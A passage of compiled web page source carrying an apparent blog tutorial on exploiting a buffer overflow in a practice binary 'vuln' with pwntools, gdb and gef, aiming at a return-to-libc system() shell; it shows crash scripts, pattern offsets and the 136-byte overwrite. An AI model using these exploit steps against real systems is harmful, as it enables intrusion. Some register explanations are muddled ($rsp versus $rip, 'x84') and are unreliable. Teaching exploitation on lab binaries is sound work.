`,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"interactive"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]})]})})}),` `,(0,l.jsx)(e.p,{children:"Simple script that runs and executes as though we were interacting with it through the terminal."}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591654/ari-io/writing/heres-a-libc/pwner-simple-run_emgwaz.png",alt:"pwner simple run"})}),` `,(0,l.jsxs)(e.p,{children:["Great, so we know we can pass information into the program. Using ",(0,l.jsx)(e.code,{children:"Ctrl+C"})," to kill the current execution, let's send a much bigger payload as we were going to do before. Updating the ",(0,l.jsx)(e.code,{children:"payload"}),", let's send a big amount of characters. This procedure is the same as we did before manually, but this time we're passing it in the script."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"#!/usr/bin/env python3"})}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"from"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" pwn "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"import"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" process"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"process"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'./vuln'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"112"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"*"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"100"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"junk "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'A'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"*"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" offset"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"payload "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ["})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" junk,"})}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"]"})}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# ..."})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"interactive"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]})]})})}),` `,(0,l.jsxs)(e.blockquote,{children:[` `,(0,l.jsxs)(e.p,{children:["Using the ",(0,l.jsx)(e.code,{children:"b''"})," prefix in Python3 tells the interpreter that we're sending a ",(0,l.jsx)(e.code,{children:"bytes"})," literal. For more information on the literals in Python, check the docs ",(0,l.jsx)(e.a,{href:"https://docs.python.org/3/reference/lexical_analysis.html#literals",children:"here"})]}),` `]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591655/ari-io/writing/heres-a-libc/pwner-simple-run-SIGSEGV_ohpiby.png",alt:"pwner run SIGSEGV"})}),` `,(0,l.jsxs)(e.p,{children:["Awesome. We've broken the binary again by sending a lot of characters into the program. Now we can use our ",(0,l.jsx)(e.code,{children:"pwner.py"})," script instead of needing to use the command-line (although we'll use the cli, command-line interface as well to do some manual investigation."]}),` `,(0,l.jsxs)(e.p,{children:["Let's take a step back and redefine what our goal is. We want to find a way to run the ",(0,l.jsx)(e.code,{children:"system()"})," command on the box running our binary. We're trying to find a way to find the execution address to execute the ",(0,l.jsx)(e.code,{children:"system()"})," command provided in the ",(0,l.jsx)(e.code,{children:"libc"})," library to give us an execution shell on the host system running the application. To get any instruction executed, we'll want to get the ",(0,l.jsx)(e.em,{children:"address of the register"})," where it's pushed on to the stack."]}),` `,(0,l.jsxs)(e.p,{children:["Said another way: we want to control what gets executed on the stack by pushing an address of the command we want to run on to the stack, so that when the application runs, it ",(0,l.jsx)(e.em,{children:"thinks"})," it's returning to a previous function it called in a normal way."]}),` `,(0,l.jsxs)(e.p,{children:["Because the addresses on the stack are shifted around due to the protections the binary was compiled with, we need to calculate what the address of the ",(0,l.jsx)(e.code,{children:"system()"})," command is when the application is run. Finding this address is pretty easily done using the ",(0,l.jsx)(e.code,{children:"gdb"})," program in conjunction with the help of ",(0,l.jsx)(e.code,{children:"gef"}),"."]}),` `,(0,l.jsx)(e.p,{children:"First, let's put our junk characters on our clipboard (a bunch of 'A' characters) using python at the command-line:"}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"$"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"python"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"-c"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:`"print(b'A' * 200)"`})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"})})]})})}),` `,(0,l.jsxs)(e.p,{children:["Let's copy and paste that output on to our clipboard and open the ",(0,l.jsx)(e.code,{children:"./vuln"})," binary using ",(0,l.jsx)(e.code,{children:"gdb"})," and manually stepping through the program."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gdb"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"./vuln"})]})})})}),` `,(0,l.jsxs)(e.p,{children:["With the gdb session open, let's execute our script by using the ",(0,l.jsx)(e.code,{children:"run"})," (or ",(0,l.jsx)(e.code,{children:"r"})," command) and then passing in junk characters by pasting them in from our clipboard."]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591645/ari-io/writing/heres-a-libc/gdb-open-1_jiojzi.png",alt:"Open gdb"})}),` `,(0,l.jsxs)(e.p,{children:["Great, we can see the program crashed at the return instruction at the bottom in ",(0,l.jsx)(e.code,{children:"do_stuff()"}),":"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"..."})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"----"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"threads"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"----"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[#0] Id 1, Name: "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"vuln"'}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:", stopped 0x400770 "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"in"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"do_stuff"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" (), reason: SIGSEGV"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"----"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"trace"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"----"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[#0] 0x400770 ?? "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"do_stuff"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["As normal, the program will execute expecting the return address will be stored in the return stack pointer, the ",(0,l.jsx)(e.code,{children:"$rsp"}),"."]}),` `,(0,l.jsxs)(e.blockquote,{children:[` `,(0,l.jsxs)(e.p,{children:["For familiarity with how programs generally run, when a function is called, the address of the function is stored on a return pointer, or the return stack pointer (",(0,l.jsx)(e.code,{children:"$rsp"})," in an x84 architecture). When the called function is finished, then the program will pop off the return pointer and call the address as the next flow."]}),` `]}),` `,(0,l.jsxs)(e.p,{children:["Now the return address will be read whatever is on the stack, not what is in the instruction pointer, or the ",(0,l.jsx)(e.code,{children:"$rsp"})," in the case of x86 architecture."]}),` `,(0,l.jsxs)(e.p,{children:["Here we're asking the program to execute what's on the instruction stack. However, with 64bit processors with NX enabled the program will check to see if what is on the stack is executable. The ",(0,l.jsx)(e.code,{children:"$rsi"})," value here will look at what's on the stack, instead of taking the ",(0,l.jsx)(e.code,{children:"$rip"}),", it won't execute the value on the stack; it will just explode. This is the reason why we're not seeing ",(0,l.jsx)(e.code,{children:"A"})," characters in the value of what's contained in the ",(0,l.jsx)(e.code,{children:"$rip"})," register."]}),` `,(0,l.jsxs)(e.p,{children:["Instead of checking the stack and trying to overflow it with the address we want to execute, let's see what is contained on the stack that we'll want to replace with the address of the ",(0,l.jsx)(e.code,{children:"system()"})," call from ",(0,l.jsx)(e.code,{children:"libc"}),"."]}),` `,(0,l.jsxs)(e.p,{children:["Using ",(0,l.jsx)(e.code,{children:"gdb"})," again, let's take a peek at the stack by examining the value of the pointer of the stack contained in the ",(0,l.jsx)(e.code,{children:"$rsp"})," register. In ",(0,l.jsx)(e.code,{children:"gdb"}),", we'll use the ",(0,l.jsx)(e.code,{children:"x"})," keyword and then ",(0,l.jsx)(e.code,{children:"g"})," (which stands for ",(0,l.jsx)(e.code,{children:"giant"}),", a 64-byte value) followed by ",(0,l.jsx)(e.code,{children:"x"}),", because we want to display the value in a hexidecimal format:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"x/gx"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#E06C75"},children:"$rsp"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x7ffe80b264a8:"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0x4141414141414141"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Since the value of ",(0,l.jsx)(e.code,{children:"$rsp"})," is ",(0,l.jsx)(e.code,{children:"0x4141414141414141"})," and this is not a valid pointer in memory (this is the letter ",(0,l.jsx)(e.code,{children:"A"})," in hexidecimal), it will ",(0,l.jsx)(e.em,{children:"not"})," execute what's on the stack."]}),` `,(0,l.jsxs)(e.p,{children:["We'll need to calculate how many bytes it will take for us to overflow the buffer and rewrite the ",(0,l.jsx)(e.code,{children:"$rsp"})," register address. We'll need to push just the right amount of bytes on the stack so that we can add our own return address pointer in the ",(0,l.jsx)(e.code,{children:"$rsp"}),"."]}),` `,(0,l.jsxs)(e.p,{children:["A common way to handle poking at the stack and finding a location in the stack (it's a lot of slots, afterall) is by creating a pattern of characters, or for the more formal version a ",(0,l.jsx)(e.a,{href:"https://en.wikipedia.org/wiki/De_Bruijn_sequence",children:"De Bruijin sequence"}),". This sequence of characters is an order of cyclic characters on a k-sized alphabet (like the engish language or ASCII characters) in which every and any possible length of ",(0,l.jsx)(e.code,{children:"n"})," occurs exactly only once."]}),` `,(0,l.jsxs)(e.p,{children:["Using the ",(0,l.jsx)(e.code,{children:"gef"})," tool's ",(0,l.jsx)(e.code,{children:"pattern"})," gives us a unique set of characters where we can calculate the offset to overflow the stack since at any length of ",(0,l.jsx)(e.code,{children:"n"})," will ",(0,l.jsx)(e.em,{children:"always"})," be unique. Since we're writing a bunch of characters to the stack, let's create a ",(0,l.jsx)(e.em,{children:"pattern"})," of characters to make a sequence of characters for us so we can identify where in the stack we're overflowing."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"pattern"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"create"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"200"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[+] Generating a pattern of 200 bytes"})}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[+] Saved as "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'$_gef0'"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"})})]})})}),` `,(0,l.jsxs)(e.blockquote,{children:[` `,(0,l.jsxs)(e.p,{children:["Creating this pattern in ",(0,l.jsx)(e.code,{children:"pwntools"})," looks like this, although we won't be creating it in our script... exercise for the reader:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"from"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" pwn "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"import"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" cyclic"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# `n` is the nuber of bytes of the architecture"})}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# (8 for 64bit, 4 for 32)"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"pat "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"cyclic"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"128"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:", "}),(0,l.jsx)(e.span,{style:{color:"#E06C75",fontStyle:"italic"},children:"n"}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"8"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]})]})})}),` `]}),` `,(0,l.jsxs)(e.p,{children:["Looking closely at the pattern, we can see the value is repeating a bunch of ",(0,l.jsx)(e.code,{children:"a"})," characters followed by a unique character, which allows us to look for a subset of the characters. Each ",(0,l.jsx)(e.code,{children:"8"})," byte of the string will only occur once, so we can manually identify the amount of characters we need to overflow the buffer."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaa"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"^"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"^"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"^"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"^"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"^"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Back in ",(0,l.jsx)(e.code,{children:"gdb"}),", let's rerun the binary and paste in our generated pattern (make sure to copy and paste the pattern we created above):"]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591646/ari-io/writing/heres-a-libc/gdb-pattern-1_j5ygi2.png",alt:"gdb pattern"})}),` `,(0,l.jsxs)(e.p,{children:["With the pattern in place, we can see part of it was placed in the ",(0,l.jsx)(e.code,{children:"$rsp"})," register. ",(0,l.jsx)(e.code,{children:"gef"})," comes in handy once again which enables us to take a peak at the number of characters into the pattern we're at giving us the number of bytes we need for our offset. We can call ",(0,l.jsx)(e.code,{children:"pattern search"})," or ",(0,l.jsx)(e.code,{children:"pattern offset"})," and then passing the address we want to search."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"pattern"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"offset"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#E06C75"},children:"$rsp"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[+] Searching "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'$rsp'"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[+] Found at offset 136 ("}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"little-endian"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"search"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:") likely"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[+] Found at offset 129 ("}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"big-endian"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"search"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"})})]})})}),` `,(0,l.jsxs)(e.p,{children:["Now we have the offset in the little-endian search. Since we're executing on an x86 processor, we'll use the little-endian, the offset is calculated by offset search finds the offset at ",(0,l.jsx)(e.code,{children:"136"}),". Let's make sure this is the right number by creating a pattern of 136 bytes and then adding our own junk at the end to confirm the ",(0,l.jsx)(e.code,{children:"$rsp"})," gets rewritten with the junk characters."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"pattern"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"create"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"136"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[+] Generating a pattern of 136 bytes"})}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa\\"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaa"}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"\\"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"maaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaa"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[+] Saved as "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'$_gef1'"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"})})]})})}),` `,(0,l.jsxs)(e.p,{children:["Then we can rerun the binary and confirm the value we passed in (the ",(0,l.jsx)(e.code,{children:"pattern we created"})," + ",(0,l.jsx)(e.code,{children:"AAAAAAAA"}),", which is 8 bytes of the character ",(0,l.jsx)(e.code,{children:"A"}),") ends up in the ",(0,l.jsx)(e.code,{children:"$rsp"})," register."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"echo"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaa'}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"\\"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"aaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaa"}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"\\"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'aaaaaoaaaaaaapaaaaaaaqaaaaaaa"'}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"+"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"AAAAAAAA"'}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" | "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"./vuln"})]})]})})}),` `,(0,l.jsx)(e.p,{children:"So now we know we have the offset of 136 bytes."}),` `,(0,l.jsx)(e.p,{children:"Let's update our script to include this new offset:"}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"#!/usr/bin/env python3"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"from"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" pwn "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"import"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" process"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"process"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'./vuln'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` 